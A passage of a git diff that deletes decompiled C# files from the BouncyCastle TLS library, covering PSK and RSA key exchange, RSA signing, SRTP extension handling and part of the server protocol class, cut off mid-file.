TlsUtilities.WriteOpaque16(array, output); - } - } - } - - protected internal static void WriteSupplementalData(Stream output, IList supplementalData) - { - MemoryStream memoryStream = new MemoryStream(); - foreach (SupplementalDataEntry supplementalDatum in supplementalData) - { - int dataType = supplementalDatum.DataType; - TlsUtilities.CheckUint16(dataType); - TlsUtilities.WriteUint16(dataType, memoryStream); - TlsUtilities.WriteOpaque16(supplementalDatum.Data, memoryStream); - } - byte[] buf = memoryStream.ToArray(); - TlsUtilities.WriteOpaque24(buf, output); - } - - protected internal static int GetPrfAlgorithm(TlsContext context, int ciphersuite) - { - bool flag = TlsUtilities.IsTlsV12(context); - switch (ciphersuite) - { - case 59: - case 60: - case 61: - case 62: - case 63: - case 64: - case 103: - case 104: - case 105: - case 106: - case 107: - case 108: - case 109: - case 156: - case 158: - case 160: - case 162: - case 164: - case 166: - case 168: - case 170: - case 172: - case 186: - case 187: - case 188: - case 189: - case 190: - case 191: - case 192: - case 193: - case 194: - case 195: - case 196: - case 197: - case 49187: - case 49189: - case 49191: - case 49193: - case 49195: - case 49197: - case 49199: - case 49201: - case 49266: - case 49268: - case 49270: - case 49272: - case 49274: - case 49276: - case 49278: - case 49280: - case 49282: - case 49284: - case 49286: - case 49288: - case 49290: - case 49292: - case 49294: - case 49296: - case 49298: - case 49308: - case 49309: - case 49310: - case 49311: - case 49312: - case 49313: - case 49314: - case 49315: - case 49316: - case 49317: - case 49318: - case 49319: - case 49320: - case 49321: - case 49322: - case 49323: - case 49324: - case 49325: - case 49326: - case 49327: - case 52392: - case 52393: - case 52394: - case 52395: - case 52396: - case 52397: - case 52398: - case 65280: - case 65281: - case 65282: - case 65283: - case 65284: - case 65285: - case 65296: - case 65297: - case 65298: - case 65299: - case 65300: - case 65301: - if (flag) - { - return 1; - } - throw new TlsFatalAlert(47); - case 157: - case 159: - case 161: - case 163: - case 165: - case 167: - case 169: - case 171: - case 173: - case 49188: - case 49190: - case 49192: - case 49194: - case 49196: - case 49198: - case 49200: - case 49202: - case 49267: - case 49269: - case 49271: - case 49273: - case 49275: - case 49277: - case 49279: - case 49281: - case 49283: - case 49285: - case 49287: - case 49289: - case 49291: - case 49293: - case 49295: - case 49297: - case 49299: - if (flag) - { - return 2; - } - throw new TlsFatalAlert(47); - case 175: - case 177: - case 179: - case 181: - case 183: - case 185: - case 49208: - case 49211: - case 49301: - case 49303: - case 49305: - case 49307: - if (flag) - { - return 2; - } - return 0; - default: - if (flag) - { - return 1; - } - return 0; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsProtocolHandler.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsProtocolHandler.cs deleted file mode 100644 index 287ee14..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsProtocolHandler.cs +++ /dev/null @@ -1,19 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -[Obsolete("Use 'TlsClientProtocol' instead")] -public class TlsProtocolHandler : TlsClientProtocol -{ - public TlsProtocolHandler(Stream stream, SecureRandom secureRandom) - : base(stream, stream, secureRandom) - { - } - - public TlsProtocolHandler(Stream input, Stream output, SecureRandom secureRandom) - : base(input, output, secureRandom) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskIdentity.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskIdentity.cs deleted file mode 100644 index 8bd402d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskIdentity.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsPskIdentity -{ - void SkipIdentityHint(); - - void NotifyIdentityHint(byte[] psk_identity_hint); - - byte[] GetPskIdentity(); - - byte[] GetPsk(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskIdentityManager.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskIdentityManager.cs deleted file mode 100644 index 53b4d39..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskIdentityManager.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsPskIdentityManager -{ - byte[] GetHint(); - - byte[] GetPsk(byte[] identity); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskKeyExchange.cs deleted file mode 100644 index 0443390..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsPskKeyExchange.cs +++ /dev/null @@ -1,299 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsPskKeyExchange : AbstractTlsKeyExchange -{ - protected TlsPskIdentity mPskIdentity; - - protected TlsPskIdentityManager mPskIdentityManager; - - protected TlsDHVerifier mDHVerifier; - - protected DHParameters mDHParameters; - - protected int[] mNamedCurves; - - protected byte[] mClientECPointFormats; - - protected byte[] mServerECPointFormats; - - protected byte[] mPskIdentityHint = null; - - protected byte[] mPsk = null; - - protected DHPrivateKeyParameters mDHAgreePrivateKey = null; - - protected DHPublicKeyParameters mDHAgreePublicKey = null; - - protected ECPrivateKeyParameters mECAgreePrivateKey = null; - - protected ECPublicKeyParameters mECAgreePublicKey = null; - - protected AsymmetricKeyParameter mServerPublicKey = null; - - protected RsaKeyParameters mRsaServerPublicKey = null; - - protected TlsEncryptionCredentials mServerCredentials = null; - - protected byte[] mPremasterSecret; - - public override bool RequiresServerKeyExchange - { - get - { - int num = mKeyExchange; - if (num == 14 || num == 24) - { - return true; - } - return false; - } - } - - [Obsolete("Use constructor that takes a TlsDHVerifier")] - public TlsPskKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, TlsPskIdentity pskIdentity, TlsPskIdentityManager pskIdentityManager, DHParameters dhParameters, int[] namedCurves, byte[] clientECPointFormats, byte[] serverECPointFormats) - : this(keyExchange, supportedSignatureAlgorithms, pskIdentity, pskIdentityManager, new DefaultTlsDHVerifier(), dhParameters, namedCurves, clientECPointFormats, serverECPointFormats) - { - } - - public TlsPskKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, TlsPskIdentity pskIdentity, TlsPskIdentityManager pskIdentityManager, TlsDHVerifier dhVerifier, DHParameters dhParameters, int[] namedCurves, byte[] clientECPointFormats, byte[] serverECPointFormats) - : base(keyExchange, supportedSignatureAlgorithms) - { - switch (keyExchange) - { - default: - throw new InvalidOperationException("unsupported key exchange algorithm"); - case 13: - case 14: - case 15: - case 24: - mPskIdentity = pskIdentity; - mPskIdentityManager = pskIdentityManager; - mDHVerifier = dhVerifier; - mDHParameters = dhParameters; - mNamedCurves = namedCurves; - mClientECPointFormats = clientECPointFormats; - mServerECPointFormats = serverECPointFormats; - break; - } - } - - public override void SkipServerCredentials() - { - if (mKeyExchange == 15) - { - throw new TlsFatalAlert(10); - } - } - - public override void ProcessServerCredentials(TlsCredentials serverCredentials) - { - if (!(serverCredentials is TlsEncryptionCredentials)) - { - throw new TlsFatalAlert(80); - } - ProcessServerCertificate(serverCredentials.Certificate); - mServerCredentials = (TlsEncryptionCredentials)serverCredentials; - } - - public override byte[] GenerateServerKeyExchange() - { - mPskIdentityHint = mPskIdentityManager.GetHint(); - if (mPskIdentityHint == null && !RequiresServerKeyExchange) - { - return null; - } - MemoryStream memoryStream = new MemoryStream(); - if (mPskIdentityHint == null) - { - TlsUtilities.WriteOpaque16(TlsUtilities.EmptyBytes, memoryStream); - } - else - { - TlsUtilities.WriteOpaque16(mPskIdentityHint, memoryStream); - } - if (mKeyExchange == 14) - { - if (mDHParameters == null) - { - throw new TlsFatalAlert(80); - } - mDHAgreePrivateKey = TlsDHUtilities.GenerateEphemeralServerKeyExchange(mContext.SecureRandom, mDHParameters, memoryStream); - } - else if (mKeyExchange == 24) - { - mECAgreePrivateKey = TlsEccUtilities.GenerateEphemeralServerKeyExchange(mContext.SecureRandom, mNamedCurves, mClientECPointFormats, memoryStream); - } - return memoryStream.ToArray(); - } - - public override void ProcessServerCertificate(Certificate serverCertificate) - { - if (mKeyExchange != 15) - { - throw new TlsFatalAlert(10); - } - if (serverCertificate.IsEmpty) - { - throw new TlsFatalAlert(42); - } - X509CertificateStructure certificateAt = serverCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - try - { - mServerPublicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(43, alertCause); - } - if (mServerPublicKey.IsPrivate) - { - throw new TlsFatalAlert(80); - } - mRsaServerPublicKey = ValidateRsaPublicKey((RsaKeyParameters)mServerPublicKey); - TlsUtilities.ValidateKeyUsage(certificateAt, 32); - base.ProcessServerCertificate(serverCertificate); - } - - public override void ProcessServerKeyExchange(Stream input) - { - mPskIdentityHint = TlsUtilities.ReadOpaque16(input); - if (mKeyExchange == 14) - { - mDHParameters = TlsDHUtilities.ReceiveDHParameters(mDHVerifier, input); - mDHAgreePublicKey = new DHPublicKeyParameters(TlsDHUtilities.ReadDHParameter(input), mDHParameters); - } - else if (mKeyExchange == 24) - { - ECDomainParameters curve_params = TlsEccUtilities.ReadECParameters(mNamedCurves, mClientECPointFormats, input); - byte[] encoding = TlsUtilities.ReadOpaque8(input); - mECAgreePublicKey = TlsEccUtilities.ValidateECPublicKey(TlsEccUtilities.DeserializeECPublicKey(mClientECPointFormats, curve_params, encoding)); - } - } - - public override void ValidateCertificateRequest(CertificateRequest certificateRequest) - { - throw new TlsFatalAlert(10); - } - - public override void ProcessClientCredentials(TlsCredentials clientCredentials) - { - throw new TlsFatalAlert(80); - } - - public override void GenerateClientKeyExchange(Stream output) - { - if (mPskIdentityHint == null) - { - mPskIdentity.SkipIdentityHint(); - } - else - { - mPskIdentity.NotifyIdentityHint(mPskIdentityHint); - } - byte[] pskIdentity = mPskIdentity.GetPskIdentity(); - if (pskIdentity == null) - { - throw new TlsFatalAlert(80); - } - mPsk = mPskIdentity.GetPsk(); - if (mPsk == null) - { - throw new TlsFatalAlert(80); - } - TlsUtilities.WriteOpaque16(pskIdentity, output); - mContext.SecurityParameters.pskIdentity = pskIdentity; - if (mKeyExchange == 14) - { - mDHAgreePrivateKey = TlsDHUtilities.GenerateEphemeralClientKeyExchange(mContext.SecureRandom, mDHParameters, output); - } - else if (mKeyExchange == 24) - { - mECAgreePrivateKey = TlsEccUtilities.GenerateEphemeralClientKeyExchange(mContext.SecureRandom, mServerECPointFormats, mECAgreePublicKey.Parameters, output); - } - else if (mKeyExchange == 15) - { - mPremasterSecret = TlsRsaUtilities.GenerateEncryptedPreMasterSecret(mContext, mRsaServerPublicKey, output); - } - } - - public override void ProcessClientKeyExchange(Stream input) - { - byte[] array = TlsUtilities.ReadOpaque16(input); - mPsk = mPskIdentityManager.GetPsk(array); - if (mPsk == null) - { - throw new TlsFatalAlert(115); - } - mContext.SecurityParameters.pskIdentity = array; - if (mKeyExchange == 14) - { - mDHAgreePublicKey = new DHPublicKeyParameters(TlsDHUtilities.ReadDHParameter(input), mDHParameters); - } - else if (mKeyExchange == 24) - { - byte[] encoding = TlsUtilities.ReadOpaque8(input); - ECDomainParameters parameters = mECAgreePrivateKey.Parameters; - mECAgreePublicKey = TlsEccUtilities.ValidateECPublicKey(TlsEccUtilities.DeserializeECPublicKey(mServerECPointFormats, parameters, encoding)); - } - else if (mKeyExchange == 15) - { - byte[] encryptedPreMasterSecret = ((!TlsUtilities.IsSsl(mContext)) ? TlsUtilities.ReadOpaque16(input) : Streams.ReadAll(input)); - mPremasterSecret = mServerCredentials.DecryptPreMasterSecret(encryptedPreMasterSecret); - } - } - - public override byte[] GeneratePremasterSecret() - { - byte[] array = GenerateOtherSecret(mPsk.Length); - MemoryStream memoryStream = new MemoryStream(4 + array.Length + mPsk.Length); - TlsUtilities.WriteOpaque16(array, memoryStream); - TlsUtilities.WriteOpaque16(mPsk, memoryStream); - Arrays.Fill(mPsk, 0); - mPsk = null; - return memoryStream.ToArray(); - } - - protected virtual byte[] GenerateOtherSecret(int pskLength) - { - if (mKeyExchange == 14) - { - if (mDHAgreePrivateKey != null) - { - return TlsDHUtilities.CalculateDHBasicAgreement(mDHAgreePublicKey, mDHAgreePrivateKey); - } - throw new TlsFatalAlert(80); - } - if (mKeyExchange == 24) - { - if (mECAgreePrivateKey != null) - { - return TlsEccUtilities.CalculateECDHBasicAgreement(mECAgreePublicKey, mECAgreePrivateKey); - } - throw new TlsFatalAlert(80); - } - if (mKeyExchange == 15) - { - return mPremasterSecret; - } - return new byte[pskLength]; - } - - protected virtual RsaKeyParameters ValidateRsaPublicKey(RsaKeyParameters key) - { - if (!key.Exponent.IsProbablePrime(2)) - { - throw new TlsFatalAlert(47); - } - return key; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaKeyExchange.cs deleted file mode 100644 index 9c1a7ad..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaKeyExchange.cs +++ /dev/null @@ -1,120 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsRsaKeyExchange : AbstractTlsKeyExchange -{ - protected AsymmetricKeyParameter mServerPublicKey = null; - - protected RsaKeyParameters mRsaServerPublicKey = null; - - protected TlsEncryptionCredentials mServerCredentials = null; - - protected byte[] mPremasterSecret; - - public TlsRsaKeyExchange(IList supportedSignatureAlgorithms) - : base(1, supportedSignatureAlgorithms) - { - } - - public override void SkipServerCredentials() - { - throw new TlsFatalAlert(10); - } - - public override void ProcessServerCredentials(TlsCredentials serverCredentials) - { - if (!(serverCredentials is TlsEncryptionCredentials)) - { - throw new TlsFatalAlert(80); - } - ProcessServerCertificate(serverCredentials.Certificate); - mServerCredentials = (TlsEncryptionCredentials)serverCredentials; - } - - public override void ProcessServerCertificate(Certificate serverCertificate) - { - if (serverCertificate.IsEmpty) - { - throw new TlsFatalAlert(42); - } - X509CertificateStructure certificateAt = serverCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - try - { - mServerPublicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(43, alertCause); - } - if (mServerPublicKey.IsPrivate) - { - throw new TlsFatalAlert(80); - } - mRsaServerPublicKey = ValidateRsaPublicKey((RsaKeyParameters)mServerPublicKey); - TlsUtilities.ValidateKeyUsage(certificateAt, 32); - base.ProcessServerCertificate(serverCertificate); - } - - public override void ValidateCertificateRequest(CertificateRequest certificateRequest) - { - byte[] certificateTypes = certificateRequest.CertificateTypes; - for (int i = 0; i < certificateTypes.Length; i++) - { - switch (certificateTypes[i]) - { - case 1: - case 2: - case 64: - continue; - } - throw new TlsFatalAlert(47); - } - } - - public override void ProcessClientCredentials(TlsCredentials clientCredentials) - { - if (!(clientCredentials is TlsSignerCredentials)) - { - throw new TlsFatalAlert(80); - } - } - - public override void GenerateClientKeyExchange(Stream output) - { - mPremasterSecret = TlsRsaUtilities.GenerateEncryptedPreMasterSecret(mContext, mRsaServerPublicKey, output); - } - - public override void ProcessClientKeyExchange(Stream input) - { - byte[] encryptedPreMasterSecret = ((!TlsUtilities.IsSsl(mContext)) ? TlsUtilities.ReadOpaque16(input) : Streams.ReadAll(input)); - mPremasterSecret = mServerCredentials.DecryptPreMasterSecret(encryptedPreMasterSecret); - } - - public override byte[] GeneratePremasterSecret() - { - if (mPremasterSecret == null) - { - throw new TlsFatalAlert(80); - } - byte[] result = mPremasterSecret; - mPremasterSecret = null; - return result; - } - - protected virtual RsaKeyParameters ValidateRsaPublicKey(RsaKeyParameters key) - { - if (!key.Exponent.IsProbablePrime(2)) - { - throw new TlsFatalAlert(47); - } - return key; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaSigner.cs deleted file mode 100644 index 046b141..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaSigner.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Encodings; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Signers; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsRsaSigner : AbstractTlsSigner -{ - public override byte[] GenerateRawSignature(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey, byte[] hash) - { - ISigner signer = MakeSigner(algorithm, raw: true, forSigning: true, new ParametersWithRandom(privateKey, mContext.SecureRandom)); - signer.BlockUpdate(hash, 0, hash.Length); - return signer.GenerateSignature(); - } - - public override bool VerifyRawSignature(SignatureAndHashAlgorithm algorithm, byte[] sigBytes, AsymmetricKeyParameter publicKey, byte[] hash) - { - ISigner signer = MakeSigner(algorithm, raw: true, forSigning: false, publicKey); - signer.BlockUpdate(hash, 0, hash.Length); - return signer.VerifySignature(sigBytes); - } - - public override ISigner CreateSigner(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey) - { - return MakeSigner(algorithm, raw: false, forSigning: true, new ParametersWithRandom(privateKey, mContext.SecureRandom)); - } - - public override ISigner CreateVerifyer(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter publicKey) - { - return MakeSigner(algorithm, raw: false, forSigning: false, publicKey); - } - - public override bool IsValidPublicKey(AsymmetricKeyParameter publicKey) - { - if (publicKey is RsaKeyParameters) - { - return !publicKey.IsPrivate; - } - return false; - } - - protected virtual ISigner MakeSigner(SignatureAndHashAlgorithm algorithm, bool raw, bool forSigning, ICipherParameters cp) - { - if (algorithm != null != TlsUtilities.IsTlsV12(mContext)) - { - throw new InvalidOperationException(); - } - if (algorithm != null && algorithm.Signature != 1) - { - throw new InvalidOperationException(); - } - IDigest digest = (raw ? new NullDigest() : ((algorithm != null) ? TlsUtilities.CreateHash(algorithm.Hash) : new CombinedHash())); - ISigner signer = ((algorithm == null) ? ((ISigner)new GenericSigner(CreateRsaImpl(), digest)) : ((ISigner)new RsaDigestSigner(digest, TlsUtilities.GetOidForHashAlgorithm(algorithm.Hash)))); - signer.Init(forSigning, cp); - return signer; - } - - protected virtual IAsymmetricBlockCipher CreateRsaImpl() - { - return new Pkcs1Encoding(new RsaBlindedEngine()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaUtilities.cs deleted file mode 100644 index d6dc0ce..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsRsaUtilities.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto.Encodings; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsRsaUtilities -{ - public static byte[] GenerateEncryptedPreMasterSecret(TlsContext context, RsaKeyParameters rsaServerPublicKey, Stream output) - { - byte[] array = new byte[48]; - context.SecureRandom.NextBytes(array); - TlsUtilities.WriteVersion(context.ClientVersion, array, 0); - Pkcs1Encoding pkcs1Encoding = new Pkcs1Encoding(new RsaBlindedEngine()); - pkcs1Encoding.Init(forEncryption: true, new ParametersWithRandom(rsaServerPublicKey, context.SecureRandom)); - try - { - byte[] array2 = pkcs1Encoding.ProcessBlock(array, 0, array.Length); - if (TlsUtilities.IsSsl(context)) - { - output.Write(array2, 0, array2.Length); - } - else - { - TlsUtilities.WriteOpaque16(array2, output); - } - } - catch (InvalidCipherTextException alertCause) - { - throw new TlsFatalAlert(80, alertCause); - } - return array; - } - - public static byte[] SafeDecryptPreMasterSecret(TlsContext context, RsaKeyParameters rsaServerPrivateKey, byte[] encryptedPreMasterSecret) - { - ProtocolVersion clientVersion = context.ClientVersion; - bool flag = false; - byte[] array = new byte[48]; - context.SecureRandom.NextBytes(array); - byte[] array2 = Arrays.Clone(array); - try - { - Pkcs1Encoding pkcs1Encoding = new Pkcs1Encoding(new RsaBlindedEngine(), array); - pkcs1Encoding.Init(forEncryption: false, new ParametersWithRandom(rsaServerPrivateKey, context.SecureRandom)); - array2 = pkcs1Encoding.ProcessBlock(encryptedPreMasterSecret, 0, encryptedPreMasterSecret.Length); - } - catch (Exception) - { - } - if (!flag || !clientVersion.IsEqualOrEarlierVersionOf(ProtocolVersion.TLSv10)) - { - int num = (clientVersion.MajorVersion ^ (array2[0] & 0xFF)) | (clientVersion.MinorVersion ^ (array2[1] & 0xFF)); - num |= num >> 1; - num |= num >> 2; - num |= num >> 4; - int num2 = ~((num & 1) - 1); - for (int i = 0; i < 48; i++) - { - array2[i] = (byte)((array2[i] & ~num2) | (array[i] & num2)); - } - } - return array2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSRTPUtils.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSRTPUtils.cs deleted file mode 100644 index 2956bab..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSRTPUtils.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using System.Collections; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsSRTPUtils -{ - public static void AddUseSrtpExtension(IDictionary extensions, UseSrtpData useSRTPData) - { - extensions[14] = CreateUseSrtpExtension(useSRTPData); - } - - public static UseSrtpData GetUseSrtpExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 14); - if (extensionData != null) - { - return ReadUseSrtpExtension(extensionData); - } - return null; - } - - public static byte[] CreateUseSrtpExtension(UseSrtpData useSrtpData) - { - if (useSrtpData == null) - { - throw new ArgumentNullException("useSrtpData"); - } - MemoryStream memoryStream = new MemoryStream(); - TlsUtilities.WriteUint16ArrayWithUint16Length(useSrtpData.ProtectionProfiles, memoryStream); - TlsUtilities.WriteOpaque8(useSrtpData.Mki, memoryStream); - return memoryStream.ToArray(); - } - - public static UseSrtpData ReadUseSrtpExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: true); - int num = TlsUtilities.ReadUint16(memoryStream); - if (num < 2 || (num & 1) != 0) - { - throw new TlsFatalAlert(50); - } - int[] protectionProfiles = TlsUtilities.ReadUint16Array(num / 2, memoryStream); - byte[] mki = TlsUtilities.ReadOpaque8(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return new UseSrtpData(protectionProfiles, mki); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServer.cs deleted file mode 100644 index 58516fd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServer.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsServer : TlsPeer -{ - void Init(TlsServerContext context); - - void NotifyClientVersion(ProtocolVersion clientVersion); - - void NotifyFallback(bool isFallback); - - void NotifyOfferedCipherSuites(int[] offeredCipherSuites); - - void NotifyOfferedCompressionMethods(byte[] offeredCompressionMethods); - - void ProcessClientExtensions(IDictionary clientExtensions); - - ProtocolVersion GetServerVersion(); - - int GetSelectedCipherSuite(); - - byte GetSelectedCompressionMethod(); - - IDictionary GetServerExtensions(); - - IList GetServerSupplementalData(); - - TlsCredentials GetCredentials(); - - CertificateStatus GetCertificateStatus(); - - TlsKeyExchange GetKeyExchange(); - - CertificateRequest GetCertificateRequest(); - - void ProcessClientSupplementalData(IList clientSupplementalData); - - void NotifyClientCertificate(Certificate clientCertificate); - - NewSessionTicket GetNewSessionTicket(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerContext.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerContext.cs deleted file mode 100644 index 1e507b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerContext.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsServerContext : TlsContext -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerContextImpl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerContextImpl.cs deleted file mode 100644 index c19f0ef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerContextImpl.cs +++ /dev/null @@ -1,13 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class TlsServerContextImpl : AbstractTlsContext, TlsServerContext, TlsContext -{ - public override bool IsServer => true; - - internal TlsServerContextImpl(SecureRandom secureRandom, SecurityParameters securityParameters) - : base(secureRandom, securityParameters) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerProtocol.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerProtocol.cs deleted file mode 100644 index 833b0b5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsServerProtocol.cs +++ /dev/null @@ -1,558 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsServerProtocol : TlsProtocol -{ - protected TlsServer mTlsServer = null; - - internal TlsServerContextImpl mTlsServerContext = null; - - protected TlsKeyExchange mKeyExchange = null; - - protected TlsCredentials mServerCredentials = null; - - protected CertificateRequest mCertificateRequest = null; - - protected short mClientCertificateType = -1; - - protected TlsHandshakeHash mPrepareFinishHash = null; - - protected override TlsContext Context => mTlsServerContext; - - internal override AbstractTlsContext ContextAdmin => mTlsServerContext; - - protected override TlsPeer Peer => mTlsServer; - - public TlsServerProtocol(Stream stream, SecureRandom secureRandom) - : base(stream, secureRandom) - { - } - - public TlsServerProtocol(Stream input, Stream output, SecureRandom secureRandom) - : base(input, output, secureRandom) - { - } - - public TlsServerProtocol(SecureRandom secureRandom) - : base(secureRandom) - { - } - - public virtual void Accept(TlsServer tlsServer) - { - if (tlsServer == null) - { - throw new ArgumentNullException("tlsServer"); - } - if (mTlsServer != null) - { - throw new InvalidOperationException("'Accept' can only be called once"); - } - mTlsServer = tlsServer; - mSecurityParameters = new SecurityParameters(); - mSecurityParameters.entity = 0; - mTlsServerContext = new TlsServerContextImpl(mSecureRandom, mSecurityParameters); - mSecurityParameters.serverRandom = TlsProtocol.CreateRandomBlock(tlsServer.ShouldUseGmtUnixTime(), mTlsServerContext.NonceRandomGenerator); - mTlsServer.Init(mTlsServerContext); - mRecordStream.Init(mTlsServerContext); - mRecordStream.SetRestrictReadVersion(enabled: false); - BlockForHandshake(); - } - - protected override void CleanupHandshake() - { - base.CleanupHandshake(); - mKeyExchange = null; - mServerCredentials = null; - mCertificateRequest = null; - mPrepareFinishHash = null; - } - - protected override void HandleHandshakeMessage(byte type, MemoryStream buf) - { - switch (type) - { - case 1: - switch (mConnectionState) - { - case 0: - { - ReceiveClientHelloMessage(buf); - mConnectionState = 1; - SendServerHelloMessage(); - mConnectionState = 2; - mRecordStream.NotifyHelloComplete(); - IList serverSupplementalData = mTlsServer.GetServerSupplementalData(); - if (serverSupplementalData != null) - { - SendSupplementalDataMessage(serverSupplementalData); - } - mConnectionState = 3; - mKeyExchange = mTlsServer.GetKeyExchange(); - mKeyExchange.Init(Context); - mServerCredentials = mTlsServer.GetCredentials(); - Certificate certificate = null; - if (mServerCredentials == null) - { - mKeyExchange.SkipServerCredentials(); - } - else - { - mKeyExchange.ProcessServerCredentials(mServerCredentials); - certificate = mServerCredentials.Certificate; - SendCertificateMessage(certificate); - } - mConnectionState = 4; - if (certificate == null || certificate.IsEmpty) - { - mAllowCertificateStatus = false; - } - if (mAllowCertificateStatus) - { - CertificateStatus certificateStatus = 